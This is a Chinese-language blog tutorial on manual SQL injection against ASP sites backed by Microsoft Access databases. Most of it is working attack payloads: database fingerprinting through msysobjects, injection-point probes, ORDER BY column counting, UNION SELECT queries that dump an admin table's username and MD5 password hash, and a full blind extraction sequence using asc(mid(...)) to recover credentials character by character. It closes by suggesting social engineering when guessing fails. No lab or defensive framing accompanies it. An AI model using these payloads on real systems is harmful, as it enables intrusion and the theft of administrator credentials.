非常规注入-Access注入

Access数据库知识点

简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet
Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。
Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个
数据库管理系统。

Access数据结构

注意:Access数据库只有一个数据库。
Access数据库结构

拿到一个网站首先判断结构

iis+asp+access

SQL注入的原理:

当web用户向后台数据库传递结构化查询语句时,如果影响了数据

库的执行能力则构成SQL注入

判断数据库类型

asp一般搭载access或者mssql,首先得判断出来是哪一类数据库。
and exists (select * from msysobjects)>

即为access数据库,如果报错可看报错信息来判断是否在access数据库。

下面这个为sqlserver的判断语句and exists (select * from sysobjects)>

报错信息

不同的web平台,Access数据库在报错时会显示不同的报错信

息。如下是两个例子:

Apache(PHP)
Fatal error: Uncaught execption 'com_exception' with message
'Source:Microsoft JET Database Engine Description: [...]
IIS(ASP)
Microsoft JET Database Engine error'80040e14'

2. 注释

Access数据库没有注释符,因此我们在注入中查询数据时,如果需要使用

注释,那么我们将无法使用那些常见的注释符:/**/ ,-- 或者 #。

然而,我们有时候可以使用Null,也就是%00,来移除查询语句里面一些无

用的部分。但是在有些情况便无法使用这种方式,例如PHP里面开启了

magic_quote_gpc参数(魔术引号),那么便会在Null前面添加反斜

杠,从而导致失去意义;

二次编码或者其他编码形式有时候也可以被用来注入上面的字符

环境asp+access手工注入

Access注入

注入方法

联合查询法(兼容性差)
逐字猜解法(兼容性好)

联合查询法

联合查询法基本流程

第一步:判断注入
第二步:确定列名的数目
第三步:猜解表名
第四步:猜解列名
第五步:爆出数据

详细步骤

第一步:判断注入

总结起来有以下四种判断方法:
粗略型:提交单引号'
逻辑型(数字型注入):and 1=1/and 1=
逻辑型(字符型注入):' and '1'='1/' and '1'='
逻辑型(搜索型注入):%' and 1=1 and '%'='%/%' and 1=2 and '%'='%
最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:
http://www.xxx.com/xxx.asp?id=YY 其中“YY”可能是数字,也有可能是字符串,分别
被称为整数类型数据或者字符型数据。
通常可以使用以下方法进行检测,判断该页面链接是否存在SQL注入漏洞。
语句and 1=1,返回正常。

语句and 1=2,返回错误。
这种情况说明存在注入点。

第二步:确定列名的数目

语句order by 列名数

语句order by 22 返回正常

语句order by 23 返回错误
这说明该数据表只有22个列名。
这是查询哪一个表的列名呢?答案是product表的列名。为什么是product表而不是admin表的列名,
因为我们原本就是在product表里查询有多少字段。

为了更加深入理解,我们查看一下数据表product是否真的是22个列名。
通过计数,发现果然是22个列名。

product表确实有22个列名

第三步:猜解表名

语句UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名
语句UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

猜解表名
猜解表名会返回两个数字3和15,3,跟15称为显示位

我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中
显示位 。这个显示位指的是网页中能够显示数据的位置。

举例来说,比如我们通过ORDER BY命令知道了表的列数为22。然后再使用UNION SELECT
1,2,3...,22 from table,网页中显示了信息3,那么说明网页只能够显示第3列中信息,不能显示其他
列的信息。也可以理解为网页只开放了3这个窗口,你想要查询数据库信息就必须要通过这个窗口。所
以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到3的位置上,这样就能通过第
列爆出admin的信息。

第四步:猜解列名

语句UNION SELECT 1,2,列名一,4,5,6,7,8,9,10,11,12,13,14,列名二,16,17,18,19,20,21,22 from 表
名。
把上面得到的那两个数字中替换成表中的用户名与密码字段名
语句UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from
admin
猜出列名则会返回数据。

第五步:爆出数据

获取到数据
�得到用户名admin,密码a48e190fafc257d3(md5加密过后的密码)。
通过MD5解密

逐字猜解法/数值型有错回显/access盲注

逐字猜解法基本流程

第一步:判断注入
第二步:查询表名
第三步:查询列名
第四步:先确定长度,再猜解数据

详细步骤

第一步:判断注入

我们还可以使用单引号来快速判断注入点。
单引号判断注入点

第二步:查询表名

语句and exists (select * from 表名)
and 0 <>(select count(*)from tablename)
<>是不等于的意思,0 <>也就是tablename不为空 返回页面正常代表存在该表

count(*)的意思是括号里面的字段集合
1.查询表有多少条记录
select count(*) from table;
2.查询表中符合条件的记录数
select count(*) from table where id > 100;
3.查询每个分组的记录数
select name, count(*) as count from table group by name;
select count(*) from tablename的意思是 从某某表查询出该字段的集合 也就是有几条记

返回错误则说明不存在ablename数据表。
或者可以使用下面的语句
语句and exists (select * from 表名)
语句and exists (select * from admin)

数据库count用法

返回正常则说明存在admin数据表。

查询表名
判断账号数:利用and (select count(*) from admin)>1判断共有多少个账号,用数字替代1,返回非正
常页面证明账号个数为填入的数字。下图可知,网站 admin表只有一行数据,既只有一个账号。

第三步:查询列名

判断字段名称:

语句1利用and (select count(*) from admin where len(admin))>
判断用户名、密码等字段名称,替换admin当返正常页面。

语句2 and exists (select 列名 from 表名)
语句and exists (select admin from admin)
返回正常,则说明存在admin这个列名。

查询是否有admin列名
语句and exists (select password from admin)
返回正常,则说明存在password这个列名。

查询是否有password列名

第四步:先确定长度,再猜解数据

确定admin列第一行数据的长度。
语句and (select top 1 len(admin) from admin) =
//top 1子句含义为查询结果只显示首条记录。
//len()取长度
返回正常,则说明admin第一行的数据长度为5。

获取admin首行记录内容长度
确定password列第一行数据的长度。
一般是md5加密,所以是16或者32位
语句and (select top 1 len(password) from admin) =
返回正常,则说明password第一列的数据长度为16。

获取password首行长度
然后我们逐字猜解数据,逐字猜解我们需要通过用到ASCII表,具体如下图所示:
��

ASCII表

asc是升序,就是这个值按照从小到大进行排序;...数据库中使用order by语句

进行排序,其中升序用asc,降序用desc

Ascii('ABC') 就会返回A的ASCII代码值
在ACCESS中用ASC函数

注:字符串从 1 开始,而非 0 ,Length是可选项,如果没有提供,MID()函数将返回余下的字符串。

举个简单的例子吧:

mid(5,5)第 5 个数字开始,取五个 即为magic
mid(6,4)第 6 个数字开始,取四个 即为agic

猜解admin第一列数据内容:
语句and (select top 1 asc(mid(admin,1,1)) from admin) =97 返回正常,第一位为a
语句and (select top 1 asc(mid(admin,2,1)) from admin) =100 返回正常,第二位为d
语句and (select top 1 asc(mid(admin,3,1)) from admin) =109 返回正常,第三位为m
语句and (select top 1 asc(mid(admin,4,1)) from admin) =105 返回正常,第四位为i
语句and (select top 1 asc(mid(admin,5,1)) from admin) =110 返回正常,第五位为n
最终得到数据为admin。

猜解password第一列数据内容:
语句and (select top 1 asc(mid(password,1,1)) from admin) =97 返回正常,第一位为a。
语句and (select top 1 asc(mid(password,2,1)) from admin) =52 返回正常,第二位为4。
语句and (select top 1 asc(mid(password,3,1)) from admin) =56 返回正常,第三位为8。
语句and (select top 1 asc(mid(password,4,1)) from admin) =101 返回正常,第四位为e。
语句and (select top 1 asc(mid(password,5,1)) from admin) =49 返回正常,第五位为1。
语句and (select top 1 asc(mid(password,6,1)) from admin) =57 返回正常,第六位为9。
语句and (select top 1 asc(mid(password,7,1)) from admin) =48 返回正常,第七位为0。
语句and (select top 1 asc(mid(password,8,1)) from admin) =102 返回正常,第八位为f。
语句and (select top 1 asc(mid(password,9,1)) from admin) =97 返回正常,第九位为a。
语句and (select top 1 asc(mid(password,10,1)) from admin) =102 返回正常,第十位为f。
语句and (select top 1 asc(mid(password,11,1)) from admin) =99 返回正常,第十一位为c。
语句and (select top 1 asc(mid(password,12,1)) from admin) =50 返回正常,第十二位为2。

(^1) mysql> SELECT MID('NowaMagic', 5, 5);
3 | MID('NowaMagic', 5, 5) |
5 | Magic |
(^7) 1 row in set

语句and (select top 1 asc(mid(password,13,1)) from admin) =53 返回正常,第十三位为5。
语句and (select top 1 asc(mid(password,14,1)) from admin) =55 返回正常,第十四位为7。
语句and (select top 1 asc(mid(password,15,1)) from admin) =100 返回正常,第十五位为d。
语句and (select top 1 asc(mid(password,16,1)) from admin) =51 返回正常,第十六位为3。
最终得到数据a48e190fafc257d3。

总结

联合查询法很快但是兼容性差,逐字猜解法很慢且繁琐但是兼容性好。由于Access数据库只能靠暴力
猜解,因此经常会网站猜解不到列名,这样的话可以使用偏移注入,猜解不到表名的话可以使用社
工。

posted @ 2022-01-09 13:10  _Nov1ce  阅读(713)  评论(0编辑  收藏  举报